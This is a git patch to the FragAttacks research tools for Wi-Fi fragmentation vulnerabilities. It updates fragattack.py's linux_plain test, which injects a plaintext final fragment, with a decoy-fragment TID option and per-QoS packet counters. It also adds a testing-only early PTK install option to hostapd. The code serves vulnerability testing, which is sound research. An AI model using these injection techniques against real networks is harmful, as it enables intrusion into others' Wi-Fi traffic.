From b62e788f1a8ade91e3e4c8bc30dc786d506176fe Mon Sep 17 00:00:00 2001 From: Mathy Date: Sat, 25 Apr 2020 17:29:31 -0400 Subject: [PATCH] fragattacks: fix linux_plain, add rekey-early-install and pn-per-qos --- hostapd/ctrl_iface.c | 6 +++-- research/fragattack.py | 56 +++++++++++++++++++++++++++++------------- research/libwifi | 2 +- src/ap/wpa_auth.c | 28 ++++++++++++++++++++- src/ap/wpa_auth.h | 2 +- src/ap/wpa_auth_i.h | 1 + 6 files changed, 73 insertions(+), 22 deletions(-) diff --git a/hostapd/ctrl_iface.c b/hostapd/ctrl_iface.c index 44b977051..530ed86bf 100644 --- a/hostapd/ctrl_iface.c +++ b/hostapd/ctrl_iface.c @@ -2362,6 +2362,7 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd) { struct sta_info *sta; u8 addr[ETH_ALEN]; + int early_install = os_strstr(cmd, "early-install") != NULL; if (hwaddr_aton(cmd, addr)) return -1; @@ -2370,8 +2371,9 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd) if (!sta || !sta->wpa_sm) return -1; - wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR, MAC2STR(sta->addr)); - return wpa_auth_rekey_ptk(sta->wpa_sm); + wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR " early_install=%d", + MAC2STR(sta->addr), early_install); + return wpa_auth_rekey_ptk(sta->wpa_sm, early_install); } diff --git a/research/fragattack.py b/research/fragattack.py index 76d10dddf..c3e475a43 100755 --- a/research/fragattack.py +++ b/research/fragattack.py @@ -321,15 +321,17 @@ class PingTest(Test): self.actions.insert(i, sep_frag) class LinuxTest(Test): - def __init__(self, ptype): + def __init__(self, ptype, decoy_tid=None): super().__init__([ - Action(Action.Connected, Action.GetIp), # XXX we don't always want to wait on this? + # Note: to inject immediately after 4-way provide IPs using --ip and --peerip + Action(Action.Connected, Action.GetIp), Action(Action.Connected, enc=True), Action(Action.Connected, enc=True), Action(Action.Connected, enc=False) ]) self.ptype = ptype self.check_fn = None + self.decoy_tid = decoy_tid def check(self, p): if self.check_fn == None: @@ -345,8 +347,17 @@ class LinuxTest(Test): # Fragment 2: make Linux update latest used crypto Packet Number. Use a dummy packet # that can't accidently aggregate with the first fragment in a corrrect packet. - p = station.get_header()/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment") + p = station.get_header(prior=2)/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment") p.SC = frag2.SC ^ (1 << 4) + + # - In the attack against Linux, the decoy frame must have the same QoS TID. + # - On the other hand, some devices seem to only cache fragments for one sequence + # number per QoS priority. So to avoid overwriting the first fragment, add this + # option to use a different priority for it. + p.TID = 2 + if self.decoy_tid != None: + p.TID = 3 + self.actions[1].frame = p # Fragment 3: can now inject last fragment as plaintext @@ -458,7 +469,7 @@ class Station(): # Don't reset PN to have consistency over rekeys and reconnects self.reset_keys() - self.pn = 0x100 + self.pn = [0x100] * 16 # Contains either the "to-DS" or "from-DS" flag. self.FCfield = Dot11(FCfield=ds_status).FCfield @@ -572,8 +583,8 @@ class Station(): return header def encrypt(self, frame, inc_pn=1, force_key=None): - # TODO: Option to use per-QoS transmit replay counters? - self.pn += inc_pn + idx = dot11_get_priority(frame) if self.options.pn_per_qos else 0 + self.pn[idx] += inc_pn key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx) if force_key == 0: @@ -581,9 +592,9 @@ class Station(): key = b"\x00" * len(key) if len(key) == 16: - encrypted = encrypt_ccmp(frame, key, self.pn, keyid) + encrypted = encrypt_ccmp(frame, key, self.pn[idx], keyid) else: - encrypted = encrypt_wep(frame, key, self.pn, keyid) + encrypted = encrypt_wep(frame, key, self.pn[idx], keyid) return encrypted @@ -906,7 +917,11 @@ class Authenticator(Daemon): def rekey(self, station): log(STATUS, f"Starting PTK rekey with client {station.get_peermac()}", color="green") - wpaspy_command(self.wpaspy_ctrl, "REKEY_PTK " + station.get_peermac()) + cmd = f"REKEY_PTK {station.get_peermac()}" + if self.options.rekey_early_install: + log(STATUS, "Will install PTK during rekey after sending Msg4") + cmd += " early-install" + wpaspy_command(self.wpaspy_ctrl, cmd) def reconnect(self, station): # Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1 @@ -1242,10 +1257,12 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype= test = PingTest(REQ_ICMP, actions, as_msdu=as_msdu, bcast=bcast) elif test_name == "ping_frag_sep": - # Check if we can send frames in between fragments. The seperator uses a different QoS TID. - # The second fragment must use an incremental PN compared to the first fragment. So this - # also tests if the receivers uses a per-QoS receive replay counter. - separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=1)/LLC()/SNAP() + # Check if we can send frames in between fragments. The seperator by default uses a different + # QoS TID. The second fragment must use an incremental PN compared to the first fragment. + # So this also tests if the receivers uses a per-QoS receive replay counter. By overriding + # the TID you can check whether fragments are cached for multiple sequence numbers in one TID. + tid = 1 if stractions == None else int(stractions) + separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=tid)/LLC()/SNAP() test = PingTest(REQ_ICMP, [Action(Action.Connected, action=Action.GetIp), Action(Action.Connected, enc=True), @@ -1283,7 +1300,8 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype= test = EapolMsduTest(REQ_ICMP, actions) elif test_name == "linux_plain": - test = LinuxTest(REQ_ICMP) + decoy_tid = None if stractions == None else int(stractions) + test = LinuxTest(REQ_ICMP, decoy_tid) elif test_name == "macos": if stractions != None: @@ -1328,7 +1346,7 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype= # If requested, override the ptype if ptype != None: if not hasattr(test, "ptype"): - log(WARNING, "Cannot override request type of this test.") + log(WARNING, "Cannot override request type of the selected test.") quit(1) test.ptype = ptype @@ -1359,7 +1377,7 @@ def args2msdu(args): if __name__ == "__main__": - log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n") + log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!") parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.") parser.add_argument('iface', help="Interface to use for the tests.") @@ -1378,8 +1396,10 @@ if __name__ == "__main__": parser.add_argument('--icmp', default=False, action='store_true', help="Override default request with ICMP ping request.") parser.add_argument('--rekey-request', default=False, action='store_true', help="Actively request PTK rekey as client.") parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.") + parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.") parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.") - parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address.") + parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address (addr1).") + parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.") args = parser.parse_args() ptype = args2ptype(args) @@ -1393,7 +1413,9 @@ if __name__ == "__main__": options.peerip = args.peerip options.rekey_request = args.rekey_request options.rekey_plaintext = args.rekey_plaintext + options.rekey_early_install = args.rekey_early_install options.full_reconnect = args.full_reconnect + options.pn_per_qos = args.pn_per_qos # Parse remaining options global_log_level -= args.debug diff --git a/research/libwifi b/research/libwifi index 004cd93c8..95dc6b7e3 160000 --- a/research/libwifi +++ b/research/libwifi @@ -1 +1 @@ -Subproject commit 004cd93c830d9c4f12a0ffc70de267a6f77d465c +Subproject commit 95dc6b7e32b63c1e2efa50f2ba60fca1b025dca7 diff --git a/src/ap/wpa_auth.c b/src/ap/wpa_auth.c index 04dac71cc..3b18a76f4 100644 --- a/src/ap/wpa_auth.c +++ b/src/ap/wpa_auth.c @@ -892,6 +892,9 @@ static int wpa_receive_error_report(struct wpa_authenticator *wpa_auth, * Error report is not a request for a new key handshake, but since * Authenticator may do it, let's change the keys now anyway. */ +#ifdef CONFIG_TESTING_OPTIONS + sm->early_install = 0; +#endif /* CONFIG_TESTING_OPTIONS */ wpa_request_new_ptk(sm); return 0; } @@ -1339,6 +1342,9 @@ continue_processing: wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO, "received EAPOL-Key Request for new " "4-Way Handshake"); +#ifdef CONFIG_TESTING_OPTIONS + sm->early_install = 0; +#endif /* CONFIG_TESTING_OPTIONS */ wpa_request_new_ptk(sm); } else if (key_data_length > 0 && wpa_parse_kde_ies(key_data, key_data_length, @@ -3400,6 +3406,23 @@ SM_STATE(WPA_PTK, PTKINITNEGOTIATING) WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL | WPA_KEY_INFO_KEY_TYPE, _rsc, sm->ANonce, kde, pos - kde, 0, encr); + +#ifdef CONFIG_TESTING_OPTIONS + if (sm->early_install) + { + sm->early_install = 0; + enum wpa_alg alg = wpa_cipher_to_alg(sm->pairwise); + int klen = wpa_cipher_key_len(sm->pairwise); + if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0, + sm->PTK.tk, klen, + KEY_FLAG_PAIRWISE_RX_TX)) { + wpa_sta_disconnect(sm->wpa_auth, sm->addr, + WLAN_REASON_PREV_AUTH_NOT_VALID); + return; + } + } +#endif /* CONFIG_TESTING_OPTIONS */ + done: os_free(kde); os_free(wpa_ie_buf); @@ -5279,9 +5302,12 @@ int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth) } -int wpa_auth_rekey_ptk(struct wpa_state_machine *sm) +int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install) { eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); +#ifdef CONFIG_TESTING_OPTIONS + sm->early_install = early_install; +#endif /* CONFIG_TESTING_OPTIONS */ return eloop_register_timeout(0, 0, wpa_rekey_ptk, sm->wpa_auth, sm); } diff --git a/src/ap/wpa_auth.h b/src/ap/wpa_auth.h index e7ad64473..27e90700c 100644 --- a/src/ap/wpa_auth.h +++ b/src/ap/wpa_auth.h @@ -499,7 +499,7 @@ int wpa_auth_resend_group_m1(struct wpa_state_machine *sm, void (*cb)(void *ctx1, void *ctx2), void *ctx1, void *ctx2); int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth); -int wpa_auth_rekey_ptk(struct wpa_state_machine *sm); +int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install); void wpa_auth_set_ptk_rekey_timer(struct wpa_state_machine *sm); #endif /* WPA_AUTH_H */ diff --git a/src/ap/wpa_auth_i.h b/src/ap/wpa_auth_i.h index a993f5008..ad1b9f312 100644 --- a/src/ap/wpa_auth_i.h +++ b/src/ap/wpa_auth_i.h @@ -160,6 +160,7 @@ struct wpa_state_machine { #endif /* CONFIG_DPP2 */ #ifdef CONFIG_TESTING_OPTIONS + int early_install; void (*eapol_status_cb)(void *ctx1, void *ctx2); void *eapol_status_cb_ctx1; void *eapol_status_cb_ctx2;